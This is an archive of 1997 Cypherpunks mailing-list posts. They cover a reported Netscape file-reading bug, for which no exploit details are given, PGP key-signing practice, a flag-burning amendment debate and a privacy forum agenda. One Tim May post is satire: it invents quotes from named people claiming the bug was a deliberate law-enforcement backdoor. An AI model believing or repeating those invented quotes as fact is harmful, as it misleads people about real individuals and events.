You also have PGP add-on software that does lookups of keys by e-mail
address. This is a convient feature if one is working with large keyrings.
You do run into the problem of e-mail addresses changing and having
multiple keys with the same address. In my software I make use of a
default file where a key can be assinged to an e-mail address regardless
of what is in the userid. YMMV with other software, from my own testing I
have found that most will either take the first key found with duplicats
or complain of "no key found" with address changes.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6C/hY9Co1n+aLhhAQGDzgQAr85CR5eIFZCFaM/pTGnt5c14x0HUYJJD
Muk7xEyR23cIZP9lrWyq+3IsIfk10sR+rLl2Ip05mwSFOasd1FRyuAIVv6vM6Ovm
3m3nSBfHwP0hQtwwrnCCFlOxScBuWjiSn8Pu/r2yhd6A1+vU8D+JeWe9VuPsDRv7
IRMeLadpvC8=
=1Fl1
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Thu Jun 12 20:41:12 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 11:41:12 +0800
Subject: Netscape Bug :)))
Message-ID: <199706130333.WAA05305@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

Just over the wire:

Seems that there is a bug in Netscape including the new Communicator that
will allow a web site to read *ANY* file on your computer. I repeate
*ANY*, yes Virginia, *ANY* file on your computer.

WebEx user and loving it. :)))))

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DAn49Co1n+aLhhAQFdVwP+LQHkDPYPdqKDQyTxuYW23NgEHGotNyqB
KJxk7uf93aGrbY6Zi+6+Y8JZeb7ce9usORYP6YWzRx1K/LhkEHn5un0aIRUlbHed
rIxvt1S28bwuiXGrPOWNKTNXfEGb1x/YyBNshooclY1bz1YS1ZRk8t/vBl/aeTZy
oWTpxeG/xjU=
=Asb/
-----END PGP SIGNATURE-----






From ichudov at Algebra.COM  Thu Jun 12 20:53:55 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 11:53:55 +0800
Subject: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <199706130347.WAA08219@manifold.algebra.com>



William H. Geiger III wrote:
> Seems that there is a bug in Netscape including the new Communicator that
> will allow a web site to read *ANY* file on your computer. I repeate
> *ANY*, yes Virginia, *ANY* file on your computer.
> 
> WebEx user and loving it. :)))))

Do you know if the bug affects Unix versions? How about linux?

And what is the exploit?

	- Igor.






From whgiii at amaranth.com  Thu Jun 12 21:01:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 12:01:14 +0800
Subject: Netscape Bug :)))
In-Reply-To: <199706130347.WAA08219@manifold.algebra.com>
Message-ID: <199706130353.WAA05560@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130347.WAA08219 at manifold.algebra.com>, on 06/12/97 
   at 10:47 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:

>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>> 
>> WebEx user and loving it. :)))))

>Do you know if the bug affects Unix versions? How about linux?

>And what is the exploit?

They didn't go into details but they did say in the report that it was a
bug in the "core" of the Netscape code so I would imagine that it is cross
platform.

Unfortunatly they did give details on how to use this bug.

This seems to be a bug that has been out for awhile as it is not just the
new Communicator but older versions of NS also.

Perhaps time to generate a new PGP key pair? :(

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DFQ49Co1n+aLhhAQF8WAQAu5mdShPAlsCQUSQjb2tMtMwQD/o7KFhy
hxZB2mv3dMZmdNzZxpspQslO3V11teL3aeN9lE+5NIHJtV3mO6Zhq8ScOo6nQb6L
1EC47wroVGB3H7FeIf8Ol6xfzu1fZf6KawvIrPu83rbte8RQ50KE+Q09CB8wMS69
U06XJWyktLc=
=QEUX
-----END PGP SIGNATURE-----






From ichudov at Algebra.COM  Thu Jun 12 21:06:22 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Fri, 13 Jun 1997 12:06:22 +0800
Subject: Netscape Bug :)))
In-Reply-To: <199706130353.WAA05560@mailhub.amaranth.com>
Message-ID: <199706130357.WAA08338@manifold.algebra.com>



William H. Geiger III wrote:
>    at 10:47 PM, ichudov at Algebra.COM (Ignoramus Chewed-Off) said:
> >William H. Geiger III wrote:
> >> Seems that there is a bug in Netscape including the new Communicator that
> >Do you know if the bug affects Unix versions? How about linux?
> >And what is the exploit?
> 
> They didn't go into details but they did say in the report that it was a
> bug in the "core" of the Netscape code so I would imagine that it is cross
> platform.
> 
> Unfortunatly they did give details on how to use this bug.
> 
> This seems to be a bug that has been out for awhile as it is not just the
> new Communicator but older versions of NS also.
> 
> Perhaps time to generate a new PGP key pair? :(

You mean, your passphrase is empty?

	- Igor.






From stewarts at ix.netcom.com  Thu Jun 12 21:15:55 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 13 Jun 1997 12:15:55 +0800
Subject: Flag burning vote TOMORROW and government-imposed ratings
In-Reply-To: <199706121208.IAA16778@homeport.org>
Message-ID: <3.0.1.32.19970612083739.0074149c@popd.ix.netcom.com>



>> 	Would a Flag Burning Amendment give the court clear guidance
>> that other offensive speech, not amended against, is now more ok?

At 06:23 AM 6/12/97 -0700, Declan wrote:
>Just woke up, but I would argue "no."  This would be the first
>constitutional weakening of the First Amendment ever. 
>Hardly a move that strengthens free speech protections. 

Normally when the government wants to weaken the First Amendment,
it does it through the courts, or makes laws nationalizing the spectrum :-)  
This isn't the first time CONgress has tried a flag-burning amendment; 
they tried it under George Bush* as well, and failed to get it through.
Does this look any different, under a Republican Congress?

[As somebody said, if you wrapped yourself in the flag as much as Bush did,
you'd worry about flag-burning too....  Clinton doesn't do it as much,
but he's no more a friend of civil liberties, and if the polls said
51% of the voters want him to sign it, he probably would.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From lharrison at mhv.net  Thu Jun 12 21:19:44 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Fri, 13 Jun 1997 12:19:44 +0800
Subject: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970613001349.006f4334@pop.mhv.net>



At 10:47 PM 6/12/97 -0500, Igor Chudov wrote:
>
>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>> 
>> WebEx user and loving it. :)))))
>
>Do you know if the bug affects Unix versions? How about linux?
>
>And what is the exploit?


------------------------------------------------
Danish software firm finds flaw that could let sites see data stored on PCs 

                          From Correspondent Steve Young
                          June 12, 1997: 6:58 p.m. ET

                 NEW YORK (CNNfn) - A serious new flaw
                 that affects all versions of Netscape
                 Communications Corp.'s popular Navigator
                 Internet browser software -- including the final
                 test version of its Communicator Suite released
                 Wednesday -- has been uncovered by a Danish
                 software firm, CNNfn has learned. 

                 The bug was reported by Cabocomm, a
                 software company located about 100 miles west
                 of Copenhagen, Denmark. The bug makes it
                 possible for Web-site operators to read anything
                 stored on the hard drive of a PC logged on to
                 the Web site.

                 After the firm reported the bug to CNN
                 Financial News, CNNfn and PC Magazine
                 tested the bug by creating and storing a
                 document on a PC's hard drive in New York.
                 Seconds later, the Danish company read it. 

                 As further proof, CNNfn and PC Magazine
                 created another document which the Danish
                 company was also able to read.

                 Larry Seltzer, technical director of PC Labs,
                 was among those who helped verify the bug
                 report. He said it would take a somewhat savvy
                 computer user to exploit the bug.

                 "They have to be seeking information from your
                 system and they also have to know the file
                 name. It's not that hard for somebody who's
                 looking to make trouble, but they do have to be
                 looking for it," Seltzer said.

                 "It's serious in that it's in the [actual] browser
                 ...whereas previous bugs generally required the
                 user to have downloaded an additional product,"
                 Jim Wise, UNIX administrator for CNNfn, said.

                 CNNfn's test showed that Internet security
                 firewalls offer no protection from the bug.

                 Mike Homer, vice president of marketing for
                 Netscape, said the company takes this and all
                 bug reports seriously. 

                 The Danish company says the reward of $1,000
                 and a T-shirt is "insultingly low" considering the
                 extent to which the bug report is likely to worry
                 Netscape users.

                 Cabocomm said it would accept "reasonable
                 compensation" for the technical information -- or
                 they can send a Netscape representative to
                 Cabocomm and get it for free.

                 CNNfn, PC Magazine and the Danish company
                 will not release technical details on the bug until
                 Netscape has prepared a bug fix.

                 The reason CNNfn is not reporting the specifics
                 of the bug is to avoid anyone exploiting it.

                 Until the bug is fixed, confidential letters,
                 business spreadsheets -- everything on your PC
                 -- can potentially be pilfered.

                 The Danish company says it won't exploit the
                 bug, but has no idea if someone else has found
                 the same bug and is compromising a system's
                 integrity. 


                                                          













                                                          















*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From tcmay at got.net  Thu Jun 12 21:39:49 1997
From: tcmay at got.net (Tim May)
Date: Fri, 13 Jun 1997 12:39:49 +0800
Subject: Netscape Security Flaw is a Feature
Message-ID: 




Many of us have been watching the CNN reports--headline reports at
that--that all past and current versions of Netscape on all platforms have
reportedly carried the bug that allows any Web site being hit by Netscape
to examine files on the user's hard disk.

(A demonstration by the Danish team was compelling. CNN-FN generated a text
file, placed it on their hard disk, and accessed the Danish site. Moments
later, the Danes read back the text file. Over and over for more examples.
They _could have been_ the NSA Web site, and the files could have been
history files, passphrase files, etc. History files are common, and give
captured kestrokes, of course.)

But how could such a massive, massive flaw have gone undiscovered for so long?

The answer, "It's a feature, not a bug."

According to Netscape spokesmen, this feature was added to the kernel of
Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
Denning asked us to insert the "remote read" capabilities to ensure that
the legitimate needs of law enforcement are met. No person cruising the Web
has any expectation of privacy, as even Declan McCullagh has pointed out."

Marc Rotenberg commented, "Privacy at the individual user level is
unimportant, just so long as a Privacy Ombudsman can decide on the
legitimate needs of law enforcement."

Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
clogged by people dumping Navigator and trying to download Explorer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Thu Jun 12 21:41:08 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 13 Jun 1997 12:41:08 +0800
Subject: Andrew Shapiro on privacy rights in The Nation
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 12 Jun 1997 21:08:37 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Andrew Shapiro on privacy rights in The Nation

[Andrew is too modest perhaps to mention that his article is the cover
story in the most recent issue of The Nation. --Declan]

---------- Forwarded message ----------
Date: Mon, 9 Jun 1997 02:52:22 -0500
From: Andrew Shapiro 
To: declan at well.com
Subject: Re: FC: Mr. Gates goes to Washington, from The Netly News

Declan:

Interesting piece.  I made a somewhat similar point about how the
"siliconaires" (nice coinage) are manipuating the crypto debate at the
expense of those making pure privacy arguments.  This was in an article
focusing mostly on a slightly different topic: this idea of the "market for
privacy." Knowing your faith in markets, I doubt we'll agree on this one,
but you may find my critique interesting -- and worth mentioning to the
list.  Given the news on P3 and OPS, the "market solution" will no doubt be
discussed at the FTC hearing this week.

See http://www.thenation.com/issue/970623/0623shap.htm

Best,
Andrew




Andrew L. Shapiro
Fellow, The Twentieth Century Fund
Contributing Editor, The Nation
41 East 70th Street
New York, NY 10021
ashapiro at interport.net
work: +1 212 452 7725










From whgiii at amaranth.com  Thu Jun 12 22:01:25 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 13:01:25 +0800
Subject: Netscape Bug :)))
In-Reply-To: <199706130357.WAA08338@manifold.algebra.com>
Message-ID: <199706130454.XAA06447@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130357.WAA08338 at manifold.algebra.com>, on 06/12/97 
   at 10:57 PM, ichudov at Algebra.COM (Igor Chudov @ home) said:

>William H. Geiger III wrote:
>>    at 10:47 PM, ichudov at Algebra.COM (Ignoramus Chewed-Off) said:
>> >William H. Geiger III wrote:
>> >> Seems that there is a bug in Netscape including the new Communicator that
>> >Do you know if the bug affects Unix versions? How about linux?
>> >And what is the exploit?
>> 
>> They didn't go into details but they did say in the report that it was a
>> bug in the "core" of the Netscape code so I would imagine that it is cross
>> platform.
>> 
>> Unfortunatly they did give details on how to use this bug.
>> 
>> This seems to be a bug that has been out for awhile as it is not just the
>> new Communicator but older versions of NS also.
>> 
>> Perhaps time to generate a new PGP key pair? :(

>You mean, your passphrase is empty?

No I feel quite secure in my choice of passphrases. I don't use NS so I am
not concerned about it. If for some reason I thought that a 3rd party had
aquired my secring.pgp file I would generate a new key (I'm paranoid but
that doesn't mean that "they" aren't out to get me ).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6DTgo9Co1n+aLhhAQEwZwP/Tr8gp9rfW8AKfQHCxwF2EyIkyAxdJc1k
RLAGWG/B3Sr4Xw8V8gfMw5rxh12gX6In1Xwj0XmlD0VVA7wkSS8Ai//zVoCTzIQU
MEeJQ/wLsJlxjNYwU32J+li4DIUCGqWvf+2vUHhasF8ANLK+f9Rh9/+76Wqkawmp
I0195q/QZAk=
=aeNE
-----END PGP SIGNATURE-----






From minow at apple.com  Thu Jun 12 22:02:15 1997
From: minow at apple.com (Martin Minow)
Date: Fri, 13 Jun 1997 13:02:15 +0800
Subject: Netscape Bug :)))
In-Reply-To: <199706130333.WAA05305@mailhub.amaranth.com>
Message-ID: 



>William H. Geiger III wrote:
>> Seems that there is a bug in Netscape including the new Communicator that
>> will allow a web site to read *ANY* file on your computer. I repeate
>> *ANY*, yes Virginia, *ANY* file on your computer.
>
>And what is the exploit?
>

According to an uninformitive, but extensive, report on CNN, the firm
is being very closed-mouth about the bug, and expects to be richly
rewarded "The $1000 bug reward was an insult." They will, however,
*give* the information to Netscape if they appear in person at the
company offices in Aarhus.

You might want to look at PC Lab's web site (or PC Magazine, I don't
remember which). All of the examples appeared to use Windows, and
the words "Active X" and "Java" were not used.

Martin Minow







From frantz at netcom.com  Thu Jun 12 22:25:36 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 13 Jun 1997 13:25:36 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: 



At 6:47 PM -0700 6/12/97, Tim May wrote:
>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>IMHO - What you are really signing is the binding between the data
>>associated with the key (usually an email address) and the key.  You are
>>saying that the secret key holder is (one of the) person(s) who has access
>>to that account, and not some man in the middle in the middle.  If you ask
>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>either see a forgery or an ID issued by an organization not interested in
>>birth certificates.
>
>My binding was between the key, and "me." Those who wanted to send messages
>to "me" could assume that only "I" could read it. The address
>"tcmay at netcom.com" vs. "tcmay at got.net" is not central. Any concern that
>"tcmay at got.net" is somehow not the keyholder of that '92 key is a nonissue.

My answer was a pure SPKI answer.  As a first approximation, in SPKI your
identity is your key.  Meatspace doesn't enter into it at all.  This avoids
the naming problem of meatspace (i.e. Which John Smith).

Much of the problem with PGP key signing is there is no complete agreement
on what it means.  I chose to have it mean that there verification of the
binding between the data associated with the key and the key.

If you have a version of the key with no signatures, then you can change
the data field and re-sign with the associated secret key.  Since the data
field has changed, you properly need to have others re-verify the validity
of the binding.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From blancw at cnw.com  Thu Jun 12 22:26:53 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 13 Jun 1997 13:26:53 +0800
Subject: Untraceable Contract Killings
Message-ID: <3.0.32.19970612222349.00759018@cnw.com>




Vladimir Z. Nuri wrote:

>[yadda, yadda, yadda]

(yawn)
then Truth Monger wrote:

>Of course, Bell did ADD a significant wrinkle, and deserves credit 
>for his contributions.  May and Bell.  Names that will be 
>remembered.  
.........................................................................


L.D.:    Still whining after all these years.


    ..
Blanc






From panther at writeme.com  Thu Jun 12 22:35:13 1997
From: panther at writeme.com (RS)
Date: Fri, 13 Jun 1997 13:35:13 +0800
Subject: Flag Burning...
Message-ID: <199706130521.BAA13934@ren.globecomm.net>



When it comes down to flag burning, It really bothers me that we allow our
symbol of freedom to be burned.  It's more than a flag and a right.  It's a
symbol of the freedom we have.  To allow someone to publicly burn a flag is
essentially displaying our freedom being burned.

Bush was a veteran, and Clinton was not.  I take it the ones who are
writing on this subject about how we should have the "freedom" to burn the
flag have never served in the military or for our country.  

Being a veteran myself, I find it very distateful to allow anyone on our
soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
for a moment and what it really stands for.  Does it not stand for freedom
and liberty?

Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
burn the flag unless you would like to live under another flag!







From tcmay at got.net  Thu Jun 12 23:09:19 1997
From: tcmay at got.net (Tim May)
Date: Fri, 13 Jun 1997 14:09:19 +0800
Subject: "Bozos Against Flag Burning"
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: 



At 10:20 PM -0700 6/12/97, RS wrote:
>When it comes down to flag burning, It really bothers me that we allow our
>symbol of freedom to be burned.  It's more than a flag and a right.  It's a
>symbol of the freedom we have.  To allow someone to publicly burn a flag is
>essentially displaying our freedom being burned.
>
>Bush was a veteran, and Clinton was not.  I take it the ones who are
>writing on this subject about how we should have the "freedom" to burn the
>flag have never served in the military or for our country.
>
>Being a veteran myself, I find it very distateful to allow anyone on our
>soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
>for a moment and what it really stands for.  Does it not stand for freedom
>and liberty?
>
>Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
>burn the flag unless you would like to live under another flag!

You ought to get off this list, then, because you'll surely find our
anarchist, anti-government, tax-evading ideas alien to you.

"Against the law" is not just a nicety of phrasing: it means someone who
"insults a symbol" goes to jail. Hardly consistent with a free society is
it?

As for Bush being a veteran and Clinton not being a veteran, what the hell
does this have to do with their political positions? Did you vote for
George McGovern in 1972 because he was a veteran (a bomber pilot, in fact)
while Richard Nixon was a guy who finagled his way out of joining the
military?

Jeeze, the bozos who wash up on our list. Where's Bell when we really need him?

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Thu Jun 12 23:10:34 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 14:10:34 +0800
Subject: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706130547.AAA06962@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <199706130521.BAA13934 at ren.globecomm.net>, on 06/13/97 
   at 01:20 AM, "RS"  said:


>When it comes down to flag burning, It really bothers me that we allow
>our symbol of freedom to be burned.  It's more than a flag and a right. 
>It's a symbol of the freedom we have.  To allow someone to publicly burn
>a flag is essentially displaying our freedom being burned.

>Bush was a veteran, and Clinton was not.  I take it the ones who are
>writing on this subject about how we should have the "freedom" to burn
>the flag have never served in the military or for our country.  

>Being a veteran myself, I find it very distateful to allow anyone on our
>soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
>for a moment and what it really stands for.  Does it not stand for
>freedom and liberty?

>Sorry, I just had to let this out.  I stand behind Bush on this one. 
>Don't burn the flag unless you would like to live under another flag!

The flag is a symbol (aka a form of speech). If you dissagre with that
speech the you have every right to counter it with more speech (aka burn
the flag).

The consequences of dissalowing this or any form of political protest
outways any statisfaction blindly wrapping ones self in the flag may
provide.

- -- Veteran of more than one shit-hole we had no business being in.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Df9o9Co1n+aLhhAQEBHQP7B3CAQQ9/8iIiYaXhj9mmXiRyrEt0HLnZ
BnET2/VPnjbWxZzAoDJAittm9Nn5lrStQil1jl/vLMoqR+o2+XEuiwY6hm3Ojm4V
8pZLTrLPczMUKTyDvAJ3H8CcpEFeVnTVWCuGsXWvAOQEEFjZh4JlDRkxGmVxV+P1
EMSHX1iAXW0=
=m0RZ
-----END PGP SIGNATURE-----






From blancw at cnw.com  Thu Jun 12 23:12:34 1997
From: blancw at cnw.com (Blanc)
Date: Fri, 13 Jun 1997 14:12:34 +0800
Subject: Untraceable Contract Killings
Message-ID: <3.0.32.19970612222139.0075f0f0@cnw.com>




Vladimir Z. Nuri wrote:

>[yadda, yadda, yadda]

(yawn)
then Truth Monger wrote:

>Of course, Bell did ADD a significant wrinkle, and deserves credit 
>for his contributions.  May and Bell.  Names that will be 
>remembered.  
.........................................................................


L.D.:    Still whining after all these years.


    ..
Blanc






From frantz at netcom.com  Thu Jun 12 23:35:04 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 13 Jun 1997 14:35:04 +0800
Subject: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: 



At 10:20 PM -0700 6/12/97, RS wrote:
>When it comes down to flag burning, It really bothers me that we allow our
>symbol of freedom to be burned.  It's more than a flag and a right.  It's a
>symbol of the freedom we have.  To allow someone to publicly burn a flag is
>essentially displaying our freedom being burned.

When I was in Boy Scouts, they taught us that the only proper way to
dispose of a flag which was worn beyond use was to burn it.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From whgiii at amaranth.com  Thu Jun 12 23:39:42 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 13 Jun 1997 14:39:42 +0800
Subject: Photo ID is not needed for key signings....
In-Reply-To: 
Message-ID: <199706130540.AAA06908@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/12/97 
   at 10:14 PM, Bill Frantz  said:

>At 6:47 PM -0700 6/12/97, Tim May wrote:
>>At 8:31 AM -0700 6/12/97, Bill Frantz wrote:
>>>IMHO - What you are really signing is the binding between the data
>>>associated with the key (usually an email address) and the key.  You are
>>>saying that the secret key holder is (one of the) person(s) who has access
>>>to that account, and not some man in the middle in the middle.  If you ask
>>>to see Lucky Green's, or Futplex's, or Black Unicorn's picture ID, you will
>>>either see a forgery or an ID issued by an organization not interested in
>>>birth certificates.
>>
>>My binding was between the key, and "me." Those who wanted to send messages
>>to "me" could assume that only "I" could read it. The address
>>"tcmay at netcom.com" vs. "tcmay at got.net" is not central. Any concern that
>>"tcmay at got.net" is somehow not the keyholder of that '92 key is a nonissue.

>My answer was a pure SPKI answer.  As a first approximation, in SPKI your
>identity is your key.  Meatspace doesn't enter into it at all.  This
>avoids the naming problem of meatspace (i.e. Which John Smith).

>Much of the problem with PGP key signing is there is no complete
>agreement on what it means.  I chose to have it mean that there
>verification of the binding between the data associated with the key and
>the key.

>If you have a version of the key with no signatures, then you can change
>the data field and re-sign with the associated secret key.  Since the
>data field has changed, you properly need to have others re-verify the
>validity of the binding.

I don't think that any changes that he would make to his key would need
re-verification provided that he signed those changes. Take the following
scenario:

John Doe creates a key and signs it:

pub 2048/FFFFFFFF 01/01/90 John Doe
sig                        John Doe (0xFFFFFFFF)

Now 3 other people verify that the key does belong to John Doe and sign
the key:

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC) 

Now John adds an aka to his key and signs it.

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe at anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC) 
aka                        John Doe john.doe at who-is-it.com
sig                        John Doe   (0xFFFFFFFF)

Since John Doe is the only one who could sign the key with the new aka one
can assume that the aka is as valid as the original userid.

 
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6Debo9Co1n+aLhhAQEOHwP/X5d2qrBCLP/z/zFkf1XDcPJ/ztkwNQ2W
qbFUo+S/ZY9vPCXezs6dCZZfSW3WrRnpmOXQjrSK9qcps6Eafhqs4G96v3bCCzVL
/wjFV+SZigTMyGqBMv9yscYM8o2KnZSvv2ajsIJLbxgoeLAnNvWXIrB2ls21ydSe
k/rXTVnwK/E=
=wXYL
-----END PGP SIGNATURE-----






From banisar at epic.org  Fri Jun 13 15:09:51 1997
From: banisar at epic.org (Dave Banisar)
Date: Fri, 13 Jun 1997 15:09:51 -0700 (PDT)
Subject: SSA Privacy Forum 6.16.97
Message-ID: 



              Social Security Administration Forum
         Privacy and Customer Service in the Electronic Age

                    Monday, June 16, 1997

                  Georgetown U. Law Center
                      Moot Court Room
                   600 New Jersey Ave. NW
                    Washington D.C. 20001


Agenda:

WELCOME

12-12:15 pm

        Welcome by Marc Rotenberg, Director,
        Electronic Privacy Information Center and
        Professor, Georgetown Law University

        Introduction of Dr. John J. Callahan,
        Acting Commissioner of the Social Security Administration

PANEL #1 PRIVACY EXPERTS AND CONSUMER ADVOCATES 12:15-1:15 pm

        Leslie Byrne, Special Assistant to the President, and
        Director, U.S. Office of Consumer Affairs

        Harry Hammitt, Editor and Publisher,
        Access Report Newsletter

        Evan Hendricks, Editor and Publisher,
        Privacy Times and Chairman, U.S. Privacy Council

        Sally Katzen, Director, Office of Information
        and Regulatory Affairs, Office of Management and Budget

        Deirdre Mulligan, Staff Counsel, Center for
        Democracy and Technology

PANEL #2 COMPUTER TECHNOLOGY EXPERTS 1:30-2:15 pm

        Edward G. Amoroso, Technical Manager, AT&T Laboratories

        Michael Angelo, Principal Member, Technology Staff,
        Compaq Corporation

        Dorothy E. Denning, Professor of Computer Science,
        Georgetown University

        David P. Jablon, Software Engineer and Cryptographic
        Specialist, Integrity Sciences, Inc.

        George Spix, Chief Architect Consumer Platforms Division,
        Microsoft Corporation

